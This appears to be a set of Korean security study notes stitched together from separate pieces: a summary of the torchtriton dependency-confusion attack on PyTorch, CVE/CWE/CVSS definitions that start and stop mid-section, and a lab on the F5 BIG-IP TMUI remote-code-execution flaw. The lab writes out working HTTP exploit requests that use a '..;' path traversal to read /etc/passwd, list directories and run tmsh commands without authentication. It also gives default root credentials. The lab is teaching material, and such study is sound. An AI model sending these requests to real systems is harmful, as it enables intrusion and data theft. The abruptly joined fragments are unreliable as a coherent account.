- 정체를 알 수 없는 사이버 공격자가 파이토치(PyTorch)라는 머신러닝 프로젝트에 악성 바이너리를 몰래 삽입 - 악성 프로젝트를 PyPI에 등록 후 파이토치와 관련된 누군가가 12월 25 ~ 30일 사이에 이를 다운로드
내용
- 공격자들이 디펜던시 혼동 공격(dependency confusion attack)을 실시 ※ 디펜던시 혼동 공격 > 소프트웨어 개발 도구가 공개 및 비공개 저장소에서 서드파티 패키지를 끌어오는 기본 방식에서 새롭게 발견된 논리적 결함 > 비공개 저장소에 호스팅된 커스텀 패키지 대신에 커뮤니티 저장소에 게시된 악성 패키지를 끌어오도록 만드는 것
- 공격자들은 torchtriton이라는 이름의 악성 패키지를 만들어 PyPI에 등록 - torchtriton은 파이토치 프로젝트와 관련이 있는 코드 라이브러리 - 악성 패키지에는 torchtriton의 여러 기능이 똑같이 포함 + 훔친 데이터를 특정 도메인에 업로드하는 기능 - 피해자의 시스템 정보, 사용자 이름, 환경 변수, 피해자의 시스템과 연결된 모든 호스트, 비밀번호 해시 목록, 피해자의 홈 디렉토리에 저장된 파일 1천 개를 훔쳐가는 것으로 조사
- PyPI를 노리는 공격 시도는 크게 증가 > PyPI는 파이썬 생태계에서 중요한 위치에 있으며, 같은 이름의 패키지 등록이 가능함
- PyPI 리포지터리는 공공 리포지터리에 있는 패키지가 비공개 리포지터리에 있는 패키지보다 우선 검색 및 로딩 > torchtriton은 파이토치 프로젝트 개발자들이 프로젝트의 비공개 리포지터리에서부터 로딩 > 누군가 파이토치 내부 패키지 이름을 정확하게 알아냈다는 것을 의미
결론
- 파이토치 측은 문제를 발견하자마자 즉시 악성 패키지가 아니라 정상 패키지로 연결되도록 조치 및 torchtriton과 관련이 있는 모든 빌드들을 삭제
- 25일부터 30일 사이에 계속 파이토치로 작업을 했다면 침해의 증거가 직접적으로 존재하지 않더라도 새로운 SSH 키 값들을 생성해 활용하는 게 안전
- 12월 29일, 보안 전문가가 디펜던시 혼동 공격을 조사하며 실험하는 과정 중에 발생한 실수 게시글 업로드
- 공개적으로 알려진 보안취약점에 대한 시간별로 정리한 목록(History) - 표준화된 CVE 항목은 서비스 적용 범위를 평가할 수 있는 기준을 제공
- 표기 : CVE-연도-순서
2. CWE (Common Weakness Enumeration)
- MITRE에서 일반적인 소프트웨어 보안약점(weakness)를 다양한 관점에서 분류한 목록.
- 악용 가능한 보안으로 이어질 수 있는 아키텍처, 디자인, 코드 또는 구현에서 발생할 수 있는 일반적인 소프트웨어 및 하드웨어 약점의 공식 목록 또는 사전
- 표기 : CWE-YYY
MITRE는 CVE®(Common Vulnerabilities and Exposures) 목록 을 출시한 1999년 초부터 소프트웨어 약점을 분류하는 문제에 대한 작업을 시작했습니다. CVE 구축의 일환으로 MITRE의 CVE 팀은 일반적인 소프트웨어 약점을 정의하는 데 도움이 되도록 2005년부터 취약성, 공격, 결함 및 기타 개념의 예비 분류 및 분류를 개발했습니다. 그러나 CVE에는 충분하지만 코드 보안 평가 업계에서 제공하는 기능을 식별하고 분류하는 데 사용하기에는 이러한 그룹화가 너무 대략적이었습니다. CWE 목록 은 2006년에 추가 요구 사항을 더 잘 해결하기 위해 만들어졌습니다.
※ 취약점 (vulnerabilities) vs 보안약점 (weakness)
① 취약점 (vulnerabilities)
- 해커가 시스템이나 네트워크에 접근하기 위해 사용할 수 있는 소프트웨어의 실수(mistake)로 실제 발생 가능
- 운영 단계에서 발생
② 보안약점 (weakness)
- 기능 설계 및 구현 단계에서 발생할 수 있는 보안상의 오류
- 개발단계에서 발생 (이론상)
3. CVSS(Common Vulnerabilities Scoring System)
- 보안 취약점들을 평가하고 확인할 수 있도록 제공된 오픈 프레임워크
- 취약점의 가장 중요한 특성을 이해하고, 그것에 수치로 된 점수를 부여함으로써 심각성을 표기
- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업 - BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품
1.1 TMUI
- Traffic Management User Interface
- 웹 기반 트래픽 관리 사용자 인터페이스
2. 취약점
- BIG-IP의 Traffic Management User Interface(TMUI)에서 접근통제가 미흡하여 발생하는 원격코드실행 취약점
- ..;문자열을 이용해 상위 디렉토리로 이동 후 인증 없이 중요 파일 또는 디렉터리 접근이 가능
- 취약점을 악용한 공격자는 대상 시스템에 다음과 같은 행위를 할 수 있음
① 인증없이 원격 코드 실행 (RCE)
② 파일 생성 및 삭제
③ 서비스 비활성화
④ 정보 탈취
⑤ 임의의 시스템 명령과 Java 코드를 실행
⑥ 내부 네트워크로 공격을 확장할 수 있는 추가적인 대상을 탐색
영향받는 버전 : BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1
2.1 실습
- 아래 사이트에서 BIG-IP 15.1.0.2-0.0.9 LTM을 다운로드
- 설정 후 BIG-IP 서버 접근 시 TMUI의 로그인 페이지 확인
※ 가상머신(.ova) 설치 후 설정없이 ifconfig 명령으로 확인되는 IP에 접속
※ 최초 설치 시 ID/PW는 root/default
- 버프슈트를 통한 Exploit 수행
① fileRead.jsp의 fileName 매개변수를 이용해 /etc/passwd 파일 접근 및 파일 내용 노출
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
② directoryList.jsp의 directoryPath 매개변수를 이용해 디렉토리 리스트 조회
GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1
③ 원격 명령 실행
- F5 BIG-IP는 TMSH라고 하는 CLI 환경을 제공
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1
- 위 예시 외에도 다양한 명령을 통해 Exploit을 진행할 수 있음
2.2 PoC
- 아래 URL 외에 공개된 PoC를 확인해보면 /tmui/login.jsp/..;/ URL이 공통적으로 확인됨